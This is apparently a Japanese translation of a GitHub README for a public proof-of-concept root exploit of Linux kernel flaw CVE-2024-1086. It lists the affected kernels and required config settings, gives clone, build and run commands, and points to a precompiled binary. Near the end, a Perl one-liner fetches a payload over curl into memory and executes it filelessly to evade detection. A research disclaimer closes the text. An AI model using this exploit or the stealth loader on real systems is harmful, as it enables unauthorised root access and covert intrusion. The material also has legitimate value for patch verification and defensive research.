
Linuxカーネルv5.14からv6.6を標的とするCVE-2024-1086のユニバーサルローカル権限昇格エクスプロイト。KernelCTFで99.4%の成功率でルートシェルを提供します。ステルス性のためのファイルレス実行を含みます。
CVE-2024-1086 のユニバーサルローカル権限昇格 Proof-of-Concept エクスプロイトです。v5.14 から v6.6 までのほとんどの Linux カーネル(Debian、Ubuntu、KernelCTF を含む)で動作します。KernelCTF イメージでの成功率は 99.4% です。
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
このエクスプロイトの完全な write-up(背景情報や役立つ図が多数含まれます)は、Flipping Pages ブログ記事 にあります。
このエクスプロイトは v5.14(含む)から v6.6(含む)までのバージョンに影響します。ただし、パッチ適用済みブランチ v5.15.149>、v6.1.76>、v6.6.15> は除きます。これらのバージョン向けのパッチは 2024 年 2 月にリリースされました。根本的な脆弱性は、v3.15 から v6.8-rc1 までのすべてのバージョン(パッチ適用済みの安定版ブランチを除く)に影響します。
注意事項:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y が設定された v6.4> カーネル(Ubuntu v6.5 を含む)では動作しませんCONFIG_USER_NS=y)、そのユーザー名前空間が非特権であること(sh コマンド sysctl kernel.unprivileged_userns_clone = 1)、および nf_tables が有効であること(kconfig CONFIG_NF_TABLES=y)が必要です。デフォルトでは、これらはすべて Debian、Ubuntu、KernelCTF で有効です。他のディストリビューションはテストされていませんが、動作する可能性もあります。さらに、このエクスプロイトは x64/amd64 でのみテストされています。デフォルト値は、ローカルシェルを持つ Debian、Ubuntu、KernelCTF でそのまま動作するはずです。テストされていないセットアップ/ディストリビューションでは、kconfig 値がターゲットカーネルと一致していることを確認してください。これらは src/config.h で指定できます。32GiB を超える物理メモリを搭載したマシンでエクスプロイトを実行する場合は、CONFIG_PHYS_MEM を必ず増やしてください。
SSH(テストマシンへ)またはリバースシェル経由でエクスプロイトを実行する場合は、不要なネットワークアクティビティを避けるために CONFIG_REDIRECT_LOG を 1 に切り替えるとよいでしょう。
これが現実的でない場合は、デフォルト設定のコンパイル済み x64 バイナリ があります。
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
バイナリ: CVE-2024-1086/exploit
エクスプロイトの実行も同様に簡単です:
./exploit
検知を回避する必要があるペンテスト状況に備えて、ファイルレス実行にも対応しています。ただし、ターゲットに Perl がインストールされている必要があります:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
このソフトウェアディレクトリ/フォルダ/リポジトリ(「リポジトリ」)内のプログラムおよびスクリプト(「プログラム」)は、教育/研究目的でのみ公開、開発、配布されています。私(「作成者」)は、このリポジトリ内のプログラムの悪意のある使用や違法な使用を容認しません。これは、研究を共有することが目的であり、それを使って違法行為を行うことではないためです。私は、あなたがこのリポジトリ内のプログラムを使って行ういかなる行為についても法的責任を負いません。